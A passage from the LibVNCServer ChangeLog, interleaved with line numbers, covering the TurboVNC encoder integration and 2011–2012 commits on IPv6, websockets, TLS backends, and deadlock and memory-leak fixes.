JPEG encoding is now quite 1171 a bit faster (meaning that we can now use it more without a CPU 1172 penalty.) TurboVNC has additional optimizations, such as the 1173 ability to count colors and encode JPEG images directly from the 1174 framebuffer without first translating the pixels into RGB. The 1175 TurboVNC encoder compares quite favorably in terms of compression 1176 ratio with TightVNC and generally encodes a great deal faster (often 1177 an order of magnitude or more.) The version of the TurboVNC encoder included in this patch is 1178 roughly equivalent to the one found in version 0.6 of the Unix 1179 TurboVNC Server, with a few minor patches integrated from TurboVNC 1180 1.1. TurboVNC 1.0 added multi-threading capabilities, which can be 1181 added in later if desired (at the expense of making libvncserver 1182 depend on libpthread.) Because TurboVNC uses a fundamentally different mix of subencodings 1183 than TightVNC, because it uses the identical protocol (and thus a 1184 viewer really has no idea whether it's talking to a TightVNC or 1185 TurboVNC server), and because it doesn't support rfbTightPng (and in 1186 fact conflicts with it-- see below), the TurboVNC and TightVNC 1187 encoders cannot be enabled simultaneously. Compatibility: In *most* cases, a TurboVNC-enabled viewer is fully compatible with 1188 a TightVNC server, and vice versa. TurboVNC supports 1189 pseudo-encodings for specifying a fine-grained (1-100) quality scale 1190 and specifying chrominance subsampling. If a TurboVNC viewer sends 1191 those to a TightVNC server, then the TightVNC server ignores them, 1192 so the TurboVNC viewer also sends the quality on a 0-9 scale that 1193 the TightVNC server can understand. Similarly, the TurboVNC server 1194 checks first for fine-grained quality and subsampling 1195 pseudo-encodings from the viewer, and failing to receive those, it 1196 then checks for the TightVNC 0-9 quality pseudo-encoding. There is one case in which the two systems are not compatible, and 1197 that is when a TightVNC or TigerVNC viewer requests compression 1198 level 0 without JPEG from a TurboVNC server. For performance 1199 reasons, this causes the TurboVNC server to send images directly to 1200 the viewer, bypassing Zlib. When the TurboVNC server does this, it 1201 also sets bits 7-4 in the compression control byte to rfbTightNoZlib 1202 (0x0A), which is unfortunately the same value as rfbTightPng. Older 1203 TightVNC viewers that don't handle PNG will assume that the stream 1204 is uncompressed but still encapsulated in a Zlib structure, whereas 1205 newer PNG-supporting TightVNC viewers will assume that the stream is 1206 PNG. In either case, the viewer will probably crash. Since most 1207 VNC viewers don't expose compression level 0 in the GUI, this is a 1208 relatively rare situation. Description of changes: configure.ac -- Added support for libjpeg-turbo. If passed an 1209 argument of --with-turbovnc, configure will now run (or, if cross-compiling, just link) a test program that determines 1210 whether the libjpeg library being used is libjpeg-turbo. 1211 libjpeg-turbo must be used when building the TurboVNC encoder, 1212 because the TurboVNC encoder relies on the libjpeg-turbo 1213 colorspace extensions in order to compress images directly out of 1214 the framebuffer (which may be, for instance, BGRA rather than RGB.) 1215 libjpeg-turbo can optionally be used with the TightVNC encoder as 1216 well, but the speedup will only be marginal (the report linked above 1217 explains why in more detail, but basically it's because of Amdahl's 1218 Law. The TightVNC encoder was designed with the assumption that 1219 JPEG had a very high CPU cost, and thus JPEG is used only 1220 sparingly.) -- Added a new configure variable, JPEG_LDFLAGS. This 1221 is necessitated by the fact that libjpeg-turbo often distributes 1222 libjpeg.a and libjpeg.so in /opt/libjpeg-turbo/lib32 or 1223 /opt/libjpeg-turbo/lib64, and many people prefer to statically 1224 link with it. Thus, more flexibility is needed than is provided by 1225 --with-jpeg. If JPEG_LDFLAGS is specified, then it overrides the 1226 changes to LDFLAGS enacted by --with-jpeg (but --with-jpeg is 1227 still used to set the include path.) The addition of JPEG_LDFLAGS 1228 necessitated replacing AC_CHECK_LIB with AC_LINK_IFELSE (because 1229 AC_CHECK_LIB automatically sets LIBS to -ljpeg, which is not what we 1230 want if we're, for instance, linking statically with libjpeg-turbo.) 1231 -- configure does not check for PNG support if TurboVNC encoding is 1232 enabled. This prevents the rfbSendRectEncodingTightPng() function 1233 from being compiled in, since the TurboVNC encoder doesn't (and 1234 can't) support it. common/turbojpeg.c, common/turbojpeg.h -- TurboJPEG is a simple API 1235 used to compress and decompress JPEG images in memory. It was 1236 originally implemented because it was desirable to use different 1237 types of underlying technologies to compress JPEG on different 1238 platforms (mediaLib on SPARC, Quicktime on PPC Macs, Intel 1239 Performance Primitives, etc.) These days, however, libjpeg-turbo 1240 is the only underlying technology used by TurboVNC, so TurboJPEG's 1241 purpose is largely just code simplicity and flexibility. Thus, 1242 since there is no real need for libvncserver to use any technology 1243 other than libjpeg-turbo for compressing JPEG, the TurboJPEG wrapper 1244 for libjpeg-turbo has been included in-tree so that libvncserver can 1245 be directly linked with libjpeg-turbo. This is convenient because 1246 many modern Linux distros (Fedora, Ubuntu, etc.) now ship 1247 libjpeg-turbo as their default libjpeg library. libvncserver/rfbserver.c -- Added logic to check for the TurboVNC 1248 fine-grained quality level and subsampling encodings and to map 1249 Tight (0-9) quality levels to appropriate fine-grained quality level 1250 and subsampling values if communicating with a TightVNC/TigerVNC 1251 viewer. libvncserver/turbo.c -- TurboVNC encoder (compiled instead of 1252 libvncserver/tight.c) rfb/rfb.h -- Added support for the TurboVNC subsampling level rfb/rfbproto.h -- Added constants for the TurboVNC fine quality 1253 level and subsampling encodings as well as the rfbTightNoZlib 1254 constant and notes on its usage. 1255 1256 2012-03-10 Christian Beier <dontmind (a] freeshell.org> 1257 1258 * client_examples/SDLvncviewer.c, libvncclient/listen.c, 1259 libvncclient/sockets.c, libvncclient/vncviewer.c, 1260 libvncserver/sockets.c, rfb/rfbclient.h: IPv6 support for 1261 LibVNCServer, part three: make reverse connections IPv6-capable. Besided making libvncserver reverseVNC IPv6-aware, this introduces 1262 some changes on the client side as well to make clients listen on 1263 IPv6 sockets, too. Like the server side, this also uses a 1264 separate-socket approach. 1265 1266 2012-03-10 Christian Beier <dontmind (a] freeshell.org> 1267 1268 * libvncserver/sockets.c: IPv6 support for LibVNCServer, part 1269 onepointseven: Plug a memleak. We have to properly free the addrinfo struct when jumping out of the 1270 function. 1271 1272 2012-03-09 Christian Beier <dontmind (a] freeshell.org> 1273 1274 * webclients/index.vnc: IPv6 support for LibVNCServer, part 1275 twopointone: properly surround IPv6 addresses with [] for noVNC URL. Some browsers omit the square brackets in 1276 document.location.hostname, so add them if missing. 1277 1278 2012-02-27 Christian Beier <dontmind (a] freeshell.org> 1279 1280 * libvncserver/cargs.c, libvncserver/httpd.c, libvncserver/main.c, 1281 rfb/rfb.h: IPv6 support for LibVNCServer, part two: Let the http 1282 server listen on IPv6, too. As done with the RFB sockets, this uses a separate-socket approach 1283 as well. 1284 1285 2012-02-27 Christian Beier <dontmind (a] freeshell.org> 1286 1287 * libvncserver/main.c: IPv6 support for LibVNCServer, part 1288 onepointsix: fix a small logic error. Without this, we would have gotten a stale IPv4 socket in a race 1289 condition. 1290 1291 2012-02-27 Christian Beier <dontmind (a] freeshell.org> 1292 1293 * libvncserver/rfbserver.c, libvncserver/sockets.c: IPv6 support for 1294 LibVNCServer, part onepointfive: Fix compilation with IPv6 missing. There was an oversight that crept in... 1295 1296 2012-02-20 Christian Beier <dontmind (a] freeshell.org> 1297 1298 * libvncserver/cargs.c, libvncserver/main.c, 1299 libvncserver/rfbserver.c, libvncserver/sockets.c, rfb/rfb.h: IPv6 1300 support for LibVNCServer, part one: accept IPv4 and IPv6 1301 connections. This uses a separate-socket approach since there are systems that do 1302 not support dual binding sockets under *any* circumstances, for 1303 instance OpenBSD. Using separate sockets for IPv4 and IPv6 is thus 1304 more portable than having a v6 socket handle v4 connections as well. Signed-off-by: Christian Beier <dontmind (a] freeshell.org> 1305 1306 2012-02-11 Mateus Cesar Groess <mateuscg (a] gmail.com> 1307 1308 * AUTHORS, client_examples/Makefile.am, 1309 client_examples/gtkvncviewer.c, configure.ac: Here is a port of 1310 SDLvncviewer to GTK+2. I think it may encourage people to implement more features for the 1311 viewer, because a GTK GUI seems to be easier to implement than a SDL 1312 one (and it is more integrated with the major Linux Desktops out 1313 there). Signed-off-by: Christian Beier <dontmind (a] freeshell.org> 1314 1315 2012-02-11 Christian Beier <dontmind (a] freeshell.org> 1316 1317 * AUTHORS: Update AUTHORS. 1318 1319 2012-02-10 Kyle J. McKay <mackyle (a] gmail.com> 1320 1321 * libvncserver/auth.c, libvncserver/rfbserver.c, rfb/rfb.h: Support 1322 Mac OS X vnc client with no password Support connections from the Mac OS X built-in VNC client to 1323 LibVNCServers running with no password and advertising a server 1324 version of 3.7 or greater. 1325 1326 2012-02-04 Johannes Schindelin <johannes.schindelin (a] gmx.de> 1327 1328 * AUTHORS: Add Luca to the AUTHORS Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 1329 1330 2012-02-04 Luca Stauble <gnekoz (a] gmail.com> 1331 1332 * libvncclient/listen.c, libvncclient/sockets.c, 1333 libvncclient/vncviewer.c, rfb/rfbclient.h: Add an optional parameter 1334 to specify the ip address for reverse connections For security reasons, it can be important to limit which IP 1335 addresses a LibVNCClient-based client should listen for reverse 1336 connections. This commit adds that option. To preserve binary backwards-compatibility, the field was added to 1337 the end of the rfbclient struct, and the function ListenAtTcpPort 1338 retains its signature (but calls the new ListenAtTcpPortAndAddress). [jes: shortened the commit subject, added a longer explanation in 1339 the commit body and adjusted style] Signed-off-by: Luca Stauble <gnekoz (a] gmail.com> Signed-off-by: 1340 Johannes Schindelin <johannes.schindelin (a] gmx.de> 1341 1342 2012-01-12 Gernot Tenchio <gernot.tenchio (a] securepoint.de> 1343 1344 * libvncserver/websockets.c: websockets: removed debug message 1345 1346 2012-01-12 Gernot Tenchio <gernot.tenchio (a] securepoint.de> 1347 1348 * libvncserver/websockets.c: websockets: restore errno after logging 1349 an error 1350 1351 2012-01-12 Gernot Tenchio <gernot.tenchio (a] securepoint.de> 1352 1353 * CMakeLists.txt: cmake: adapted to latest websocket crypto changes 1354 1355 2011-12-15 Christian Beier <dontmind (a] freeshell.org> 1356 1357 * rfb/rfbclient.h: Small changes to LibNVCClient doxygen 1358 documentation. 1359 1360 2011-12-01 Christian Beier <dontmind (a] freeshell.org> 1361 1362 * libvncserver/Makefile.am: Fix build error when libpng is 1363 available, but libjpeg is not. The png stuff in tight.c depends on code in tight.c that uses 1364 libjpeg features. We could probably seperate that, but for now the 1365 dependency for 'tight' goes: PNG depends on JPEG depends on ZLIB. This is reflected in Makefile.am now. NB: Building tight.c with JPEG but without PNG is still possible, but nor the other way around. 1366 1367 2011-12-01 Christian Beier <dontmind (a] freeshell.org> 1368 1369 * configure.ac: Use AM_SILENT_RULES only when it's actually 1370 available. Otherwise building breaks with older make versions. Happens on OS X 1371 10.6 for instance. 1372 1373 2011-11-09 Christian Beier <dontmind (a] freeshell.org> 1374 1375 * configure.ac, webclients/Makefile.am, webclients/index.vnc, 1376 webclients/java-applet/Makefile.am, 1377 webclients/java-applet/javaviewer.pseudo_proxy.patch, 1378 webclients/java-applet/ssl/Makefile.am, 1379 webclients/java-applet/ssl/README, 1380 webclients/java-applet/ssl/index.vnc, 1381 webclients/java-applet/ssl/onetimekey, 1382 webclients/java-applet/ssl/proxy.vnc, 1383 webclients/java-applet/ssl/ss_vncviewer, 1384 webclients/java-applet/ssl/tightvnc-1.3dev7_javasrc-vncviewer-curso 1385 r-colors+no-tab-traversal.patch, 1386 webclients/java-applet/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.p 1387 atch, webclients/java-applet/ssl/ultra.vnc, 1388 webclients/java-applet/ssl/ultraproxy.vnc, 1389 webclients/java-applet/ssl/ultrasigned.vnc, 1390 webclients/java-applet/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, 1391 webclients/javaviewer.pseudo_proxy.patch, 1392 webclients/ssl/Makefile.am, webclients/ssl/README, 1393 webclients/ssl/index.vnc, webclients/ssl/onetimekey, 1394 webclients/ssl/proxy.vnc, webclients/ssl/ss_vncviewer, 1395 webclients/ssl/tightvnc-1.3dev7_javasrc-vncviewer-cursor-colors+no- 1396 tab-traversal.patch, 1397 webclients/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, 1398 webclients/ssl/ultra.vnc, webclients/ssl/ultraproxy.vnc, 1399 webclients/ssl/ultrasigned.vnc, 1400 webclients/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: Move the java 1401 stuff into webclients/java-applet. 1402 1403 2011-11-09 Christian Beier <dontmind (a] freeshell.org> 1404 1405 * LibVNCServer.spec.in, Makefile.am, README, classes/Makefile.am, 1406 classes/index.vnc, classes/javaviewer.pseudo_proxy.patch, 1407 classes/novnc/LICENSE.txt, classes/novnc/README.md, 1408 classes/novnc/favicon.ico, classes/novnc/include/base.css, 1409 classes/novnc/include/base64.js, classes/novnc/include/black.css, 1410 classes/novnc/include/blue.css, classes/novnc/include/des.js, 1411 classes/novnc/include/display.js, classes/novnc/include/input.js, 1412 classes/novnc/include/logo.js, classes/novnc/include/playback.js, 1413 classes/novnc/include/rfb.js, classes/novnc/include/ui.js, 1414 classes/novnc/include/util.js, classes/novnc/include/vnc.js, 1415 classes/novnc/include/web-socket-js/README.txt, 1416 classes/novnc/include/web-socket-js/swfobject.js, 1417 classes/novnc/include/web-socket-js/web_socket.js, 1418 classes/novnc/include/websock.js, classes/novnc/include/webutil.js, 1419 classes/novnc/vnc.html, classes/novnc/vnc_auto.html, 1420 classes/ssl/Makefile.am, classes/ssl/README, classes/ssl/index.vnc, 1421 classes/ssl/onetimekey, classes/ssl/proxy.vnc, 1422 classes/ssl/ss_vncviewer, 1423 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-cursor-colors+no-tab 1424 -traversal.patch, 1425 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, 1426 classes/ssl/ultra.vnc, classes/ssl/ultraproxy.vnc, 1427 classes/ssl/ultrasigned.vnc, 1428 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, configure.ac, 1429 examples/example.c, examples/pnmshow.c, examples/pnmshow24.c, 1430 rfb/rfb.h, webclients/Makefile.am, webclients/index.vnc, 1431 webclients/javaviewer.pseudo_proxy.patch, 1432 webclients/novnc/LICENSE.txt, webclients/novnc/README.md, 1433 webclients/novnc/favicon.ico, webclients/novnc/include/base.css, 1434 webclients/novnc/include/base64.js, 1435 webclients/novnc/include/black.css, 1436 webclients/novnc/include/blue.css, webclients/novnc/include/des.js, 1437 webclients/novnc/include/display.js, 1438 webclients/novnc/include/input.js, 1439 webclients/novnc/include/logo.js, 1440 webclients/novnc/include/playback.js, 1441 webclients/novnc/include/rfb.js, webclients/novnc/include/ui.js, 1442 webclients/novnc/include/util.js, webclients/novnc/include/vnc.js, 1443 webclients/novnc/include/web-socket-js/README.txt, 1444 webclients/novnc/include/web-socket-js/swfobject.js, 1445 webclients/novnc/include/web-socket-js/web_socket.js, 1446 webclients/novnc/include/websock.js, 1447 webclients/novnc/include/webutil.js, webclients/novnc/vnc.html, 1448 webclients/novnc/vnc_auto.html, webclients/ssl/Makefile.am, 1449 webclients/ssl/README, webclients/ssl/index.vnc, 1450 webclients/ssl/onetimekey, webclients/ssl/proxy.vnc, 1451 webclients/ssl/ss_vncviewer, 1452 webclients/ssl/tightvnc-1.3dev7_javasrc-vncviewer-cursor-colors+no- 1453 tab-traversal.patch, 1454 webclients/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, 1455 webclients/ssl/ultra.vnc, webclients/ssl/ultraproxy.vnc, 1456 webclients/ssl/ultrasigned.vnc, 1457 webclients/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: Rename 1458 'classes' dir to 'webclients'. 1459 1460 2011-11-09 Christian Beier <dontmind (a] freeshell.org> 1461 1462 * classes/index.vnc, libvncserver/httpd.c: novnc client: use the 1463 client's notion about the server hostname instead of what the server 1464 thinks. 1465 1466 2011-11-09 Christian Beier <dontmind (a] freeshell.org> 1467 1468 * classes/index.vnc: Fix tiny typo. 1469 1470 2011-11-09 Christian Beier <dontmind (a] freeshell.org> 1471 1472 * NEWS: Add 0.9.8.2 NEWS entry. 1473 1474 2011-11-09 Christian Beier <dontmind (a] freeshell.org> 1475 1476 * libvncclient/rfbproto.c: When GetCredential() callback is not set, 1477 don't use authentications requiring it. The auth methods that employ Getcredential() will only be used if 1478 the client's GetCredential callback is actually set. 1479 1480 2011-10-12 Christian Beier <dontmind (a] freeshell.org> 1481 1482 * ChangeLog: Update ChangeLog for 0.9.8.1. 1483 1484 2011-10-12 Christian Beier <dontmind (a] freeshell.org> 1485 1486 * CMakeLists.txt, NEWS, configure.ac: Update version number in 1487 autotools && cmake, NEWS entry. 1488 1489 2011-10-26 Peter Watkins <watkipet (a] gmail.com> 1490 1491 * rfb/rfbclient.h: Added comments. 1492 1493 2011-10-26 Christian Beier <dontmind (a] freeshell.org> 1494 1495 * libvncserver/rfbserver.c: Fix deadlock in threaded mode when using 1496 nested rfbClientIteratorNext() calls. Lengthy explanation follows... First, the scenario before this patch: We have three clients 1,2,3 connected. The main thread loops through 1497 them using rfbClientIteratorNext() (loop L1) and is currently at 1498 client 2 i.e. client 2's cl_2->refCount is 1. At this point we need 1499 to loop again through the clients, with cl_2->refCount == 1, i.e. do 1500 a loop L2 nested within loop L1. BUT: Now client 2 disconnects, it's clientInput thread terminates 1501 its clientOutput thread and calls rfbClientConnectionGone(). This 1502 LOCKs clientListMutex and WAITs for cl_2->refCount to become 0. This 1503 means this thread waits for the main thread to release cl_2. 1504 Waiting, with clientListMutex LOCKed! Meanwhile, the main thread is about to begin the inner 1505 rfbClientIteratorNext() loop L2. The first call to 1506 rfbClientIteratorNext() LOCKs clientListMutex. BAAM. This mutex is 1507 locked by cl2's clientInput thread and is only released when 1508 cl_2->refCount becomes 0. The main thread would decrement 1509 cl_2->refCount when it would continue with loop L1. But it's waiting 1510 for cl2's clientInput thread to release clientListMutex. Which never 1511 happens since this one's waiting for the main thread to decrement 1512 cl_2->refCount. DEADLOCK. Now, situation with this patch: Same as above, but when client 2 disconnects it's clientInput thread 1513 rfbClientConnectionGone(). This again LOCKs clientListMutex, removes 1514 cl_2 from the linked list and UNLOCKS clientListMutex. The WAIT for 1515 cl_2->refCount to become 0 is _after_ that. Waiting, with 1516 clientListMutex UNLOCKed! Therefore, the main thread can continue, do the inner loop L2 (now 1517 only looping through 1,3 - 2 was removed from the linked list) and 1518 continue with loop L1, finally decrementing cl_2->refCount, allowing 1519 cl2's clientInput thread to continue and terminate. The resources 1520 held by cl2 are not free()'d by rfbClientConnectionGone until 1521 cl2->refCount becomes 0, i.e. loop L1 has released cl2. 1522 1523 2011-10-16 Johannes Schindelin <johannes.schindelin (a] gmx.de> 1524 1525 * AUTHORS: Update AUTHORS Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 1526 1527 2011-10-16 George Fleury <gfleury (a] gmail.com> 1528 1529 * libvncserver/rfbserver.c: Fix memory leak I was debbuging some code tonight and i found a pointer that is not 1530 been freed, so i think there is maybe a memory leak, so it is... there is the malloc caller reverse order: ( malloc cl->statEncList ) <- rfbStatLookupEncoding <- rfbStatRecordEncodingSent <- rfbSendCursorPos <- rfbSendFramebufferUpdate <- rfbProcessEvents I didnt look the whole libvncserver api, but i am using 1531 rfbReverseConnection with rfbProcessEvents, and then when the client 1532 connection dies, i am calling a rfbShutdownServer and 1533 rfbScreenCleanup, but the malloc at rfbStatLookupEncoding isnt been 1534 freed. So to free the stats i added a rfbResetStats(cl) after 1535 rfbPrintStats(cl) at rfbClientConnectionGone in rfbserver.c before 1536 free the cl pointer. (at rfbserver.c line 555). And this, obviously, 1537 is correcting the memory leak. Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 1538 1539 2011-10-08 Johannes Schindelin <johannes.schindelin (a] gmx.de> 1540 1541 * rfb/rfbclient.h: Hopefully fix the crash when updating from 0.9.7 1542 or earlier For backwards-compatibility reasons, we can only add struct members 1543 to the end. That way, existing callers still can use newer 1544 libraries, as the structs are always allocated by the library (and 1545 therefore guaranteed to have the correct size) and still rely on the 1546 same position of the parts the callers know about. Reported by Luca Falavigna. Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 1547 1548 2011-10-09 Johannes Schindelin <johannes.schindelin (a] gmx.de> 1549 1550 * client_examples/SDLvncviewer.c: SDLvncviewer: make it resizable by 1551 default I got annoyed having to specify -resizable all the time; I never use 1552 it in another mode anymore, since I am on a netbook. The option -no-resizable was added to be able to switch off that 1553 feature. Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 1554 1555 2011-10-06 Christian Beier <dontmind (a] freeshell.org> 1556 1557 * libvncserver/httpd.c: httpd: fix sending of binary data such as 1558 images. We do this simply by omitting the content-type and let the browser 1559 decide upon the mime-type of the sent file. Only exception is 1560 'index.vnc', where we do set the content-type since some browsers 1561 fail to detect it's html when it's ending in '.vnc' Also, remove superfluous #defines. We close the connection always. 1562 1563 2011-10-06 Christian Beier <dontmind (a] freeshell.org> 1564 1565 * classes/index.vnc: Fix typo && use proper website. 1566 1567 2011-10-04 Christian Beier <dontmind (a] freeshell.org> 1568 1569 * classes/index.vnc, classes/novnc/LICENSE.txt, 1570 classes/novnc/README.md, classes/novnc/favicon.ico, 1571 classes/novnc/include/base.css, classes/novnc/include/base64.js, 1572 classes/novnc/include/black.css, classes/novnc/include/blue.css, 1573 classes/novnc/include/des.js, classes/novnc/include/display.js, 1574 classes/novnc/include/input.js, classes/novnc/include/logo.js, 1575 classes/novnc/include/playback.js, classes/novnc/include/rfb.js, 1576 classes/novnc/include/ui.js, classes/novnc/include/util.js, 1577 classes/novnc/include/vnc.js, 1578 classes/novnc/include/web-socket-js/README.txt, 1579 classes/novnc/include/web-socket-js/swfobject.js, 1580 classes/novnc/include/web-socket-js/web_socket.js, 1581 classes/novnc/include/websock.js, classes/novnc/include/webutil.js, 1582 classes/novnc/vnc.html, classes/novnc/vnc_auto.html, 1583 libvncserver/httpd.c: Add noVNC HTML5 client connect possibility to 1584 our http server. Pure JavaScript, no Java plugin required anymore! (But a recent 1585 browser...) 1586 1587 2011-10-04 Christian Beier <dontmind (a] freeshell.org> 1588 1589 * configure.ac: This build warning is a libvncserver one, not for 1590 x11vnc. Also, make it warn more generally when no known encryption lib is 1591 available. 1592 1593 2011-09-21 Gernot Tenchio <gernot (a] tenchio.de> 1594 1595 * common/md5.c: md5: forced to use function names with leading 1596 underscores Commented out the surrounding '#ifdef _LIBC' to build md5.o with 1597 leading underscores. This is required to match the prototypes 1598 defined in md5.h. 1599 1600 2011-09-20 Gernot Tenchio <gernot.tenchio (a] securepoint.de> 1601 1602 * libvncserver/rfbcrypto_included.c: rfbcrypto_included: fix c&p 1603 errors 1604 1605 2011-09-20 Gernot Tenchio <gernot (a] tenchio.de> 1606 1607 * libvncserver/rfbcrypto_polarssl.c: rfbcrypto_polarssl: it was way 1608 to late last night... 1609 1610 2011-09-18 Gernot Tenchio <gernot (a] tenchio.de> 1611 1612 * libvncserver/Makefile.am, libvncserver/rfbcrypto.h, 1613 libvncserver/rfbcrypto_gnutls.c, libvncserver/rfbcrypto_included.c, 1614 libvncserver/rfbcrypto_openssl.c, 1615 libvncserver/rfbcrypto_polarssl.c, libvncserver/websockets.c: Add 1616 support for different crypto implementations 1617 1618 2011-09-11 Christian Beier <dontmind (a] freeshell.org> 1619 1620 * configure.ac, libvncserver/Makefile.am: Autotools: Fix OpenSSL and 1621 GnuTLS advertisement. 1622 1623 2011-09-11 Christian Beier <dontmind (a] freeshell.org> 1624 1625 * libvncserver/rfbssl_gnutls.c: Fix libvncserver GnuTLS init. gnutls_certificate_set_x509_trust_file() returns the number of 1626 processed certs and _not_ GNUTLS_E_SUCCESS (0) on success! 1627 1628 2011-09-11 Christian Beier <dontmind (a] freeshell.org> 1629 1630 * AUTHORS, libvncserver/websockets.c: Update AUTHORS regarding the 1631 websocket guys. 1632 1633 2011-08-28 Gernot Tenchio <gernot (a] tenchio.de> 1634 1635 * configure.ac: configure: Add AM_SILENT_RULES Working with silent make mode makes debugging a lot of easier 1636 since warnings wont shadowed by useless compiler noise 1637 1638 2011-08-27 Gernot Tenchio <gernot (a] tenchio.de> 1639 1640 * CMakeLists.txt: cmake: set SOVERSION 1641 1642 2011-09-11 Christian Beier <dontmind (a] freeshell.org> 1643 1644 * configure.ac, libvncserver/Makefile.am: Autotools: Fix OpenSSL and 1645 GnuTLS advertisement. 1646 1647 2011-09-11 Christian Beier <dontmind (a] freeshell.org> 1648 1649 * libvncserver/rfbssl_gnutls.c: Fix libvncserver GnuTLS init. gnutls_certificate_set_x509_trust_file() returns the number of 1650 processed certs and _not_ GNUTLS_E_SUCCESS (0) on success! 1651 1652 2011-09-11 Christian Beier <dontmind (a] freeshell.org> 1653 1654 * AUTHORS, libvncserver/websockets.c: Update AUTHORS regarding the 1655 websocket guys. 1656 1657 2011-09-02 Gernot Tenchio <gernot (a] tenchio.de> 1658 1659 * libvncserver/websockets.c: websocket: Use a single buffer for 1660 both, encoding and decoding 1661 1662 2011-08-30 Gernot Tenchio <gernot.tenchio (a] securepoint.de> 1663 1664 * libvncserver/rfbssl_gnutls.c: rfbssl_gnutls: Merge 1665 rfbssl_peek/rfbssl_read into one function 1666 1667 2011-08-30 Gernot Tenchio <gernot.tenchio (a] securepoint.de> 1668 1669 * libvncserver/websockets.c: websockets: fix 1670 webSocketCheckDisconnect() Do not consume the peeked data if no close frame was detected. 1671 1672 2011-08-29 Gernot Tenchio <gernot.tenchio (a] securepoint.de> 1673 1674 * libvncserver/websockets.c: websockets: use 32bit Xor in 1675 webSocketsDecodeHybi() 1676 1677 2011-08-29 Gernot Tenchio <gernot.tenchio (a] securepoint.de> 1678 1679 * CMakeLists.txt: cmake: use sha1.c for websocket builds 1680 1681 2011-08-25 Gernot Tenchio <gernot (a] tenchio.de> 1682 1683 * libvncserver/websockets.c: websockets: nothing to worry about 1684 1685 2011-08-25 Gernot Tenchio <gernot (a] tenchio.de> 1686 1687 * libvncserver/websockets.c: websockets: added gcrypt based sha1 1688 digest funtion 1689 1690 2011-08-25 Joel Martin <jmartin (a] sentryds.com> 1691 1692 * common/sha1.c, common/sha1.h, libvncserver/Makefile.am, 1693 libvncserver/websockets.c: Add sha1.*. Remove UTF-8 encode. Protocol 1694 handling. Add common/sha1.h and common/sha1.c so that we have the SHA routines 1695 even if openssl is not available. From the IETF SHA RFC example 1696 code. Remove the UTF-8 encoding hack. This was really just an experiment. If the protocol passed in the handshake has "binary" then don't 1697 base64 encode for the HyBi protocol. This will allow noVNC to 1698 request the binary data be passed raw and not base64 encoded. 1699 Unfortunately, the client doesn't speak first in VNC protocol (bad 1700 original design). If it did then we could determine whether to 1701 base64 encode or not based on the first HyBi frame from the client 1702 and whether the binary bit is set or not. Oh well. Misc Cleanup: - Always free response and buf in handshake routine. - Remove some unused variables. 1703 1704 2011-08-25 Gernot Tenchio <gernot (a] tenchio.de> 1705 1706 * CMakeLists.txt: cmake: make some noise 1707 1708 2011-08-25 Gernot Tenchio <gernot (a] tenchio.de> 1709 1710 * libvncserver/rfbssl_gnutls.c: websockets: remove warning on 64bit 1711 platforms 1712 1713 2011-08-25 Gernot Tenchio <gernot.tenchio (a] securepoint.de> 1714 1715 * libvncserver/websockets.c: websockets: Removed debugging left over 1716 1717 2011-08-25 Gernot Tenchio <gernot.tenchio (a] securepoint.de> 1718 1719 * libvncserver/websockets.c: websockets: Use callback functions for 1720 encode/decode 1721 1722 2011-08-25 Gernot Tenchio <gernot.tenchio (a] securepoint.de> 1723 1724 * libvncserver/rfbserver.c, libvncserver/sockets.c, 1725 libvncserver/websockets.c, rfb/rfb.h: websockets: Move Hixie 1726 disconnect hack to websockets.c Move the hixie disconnect hack to websockets.c. Removed the 1727 remaining websockets vars from rfbClientPtr, so all websockets stuff 1728 is hidden behind an opaque pointer. 1729 1730 2011-08-25 Gernot Tenchio <gernot.tenchio (a] securepoint.de> 1731 1732 * libvncserver/rfbserver.c, libvncserver/sockets.c, 1733 libvncserver/websockets.c, rfb/rfb.h: websockets: Initial HyBi 1734 support 1735 1736 2011-08-16 Gernot Tenchio <gernot.tenchio (a] securepoint.de> 1737 1738 * CMakeLists.txt: cmake: don't link sdl libs to vnc libraries Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 1739 1740 2011-08-16 Gernot Tenchio <gernot.tenchio (a] securepoint.de> 1741 1742 * libvncserver/sockets.c, libvncserver/websockets.c, rfb/rfb.h: 1743 websockets: Add wspath member to rfbClientRec Added wspath member to rfbClientRec which holds the path component 1744 of the initial websocket request. Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 1745 1746 2011-08-16 Gernot Tenchio <gernot.tenchio (a] securepoint.de> 1747 1748 * CMakeLists.txt, common/md5.c, common/md5.h, 1749 libvncserver/Makefile.am, libvncserver/md5.c, libvncserver/md5.h: 1750 Move libvncserver/md5* to common Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 1751 1752 2011-08-16 Gernot Tenchio <gernot.tenchio (a] securepoint.de> 1753 1754 * CMakeLists.txt, rfb/rfbconfig.h.cmake: websockets: Add Websockets 1755 support to CMakeLists.txt Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 1756 1757 2011-08-16 Joel Martin <github (a] martintribe.org> 1758 1759 * libvncserver/Makefile.am, libvncserver/cargs.c: websockets: Add 1760 SSL cert command line options. - Add --sslcertfile and --sslkeyfile. These should really be 1761 combined with the existing x11vnc command line options for SSL 1762 support. Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 1763 1764 2011-08-17 Gernot Tenchio <gernot.tenchio (a] securepoint.de> 1765 1766 * configure.ac, libvncserver/Makefile.am, 1767 libvncserver/rfbssl_gnutls.c, libvncserver/rfbssl_openssl.c: 1768 websockets: add GnuTLS and OpenSSL support For now, only OpenSSL support is activated through configure, since 1769 GnuTLS is only used in LibVNCClient. [jes: separated this out from the commit adding encryption support, 1770 added autoconf support.] Signed-off-by: Johannes Schindelin <johannes.schindelin (a] 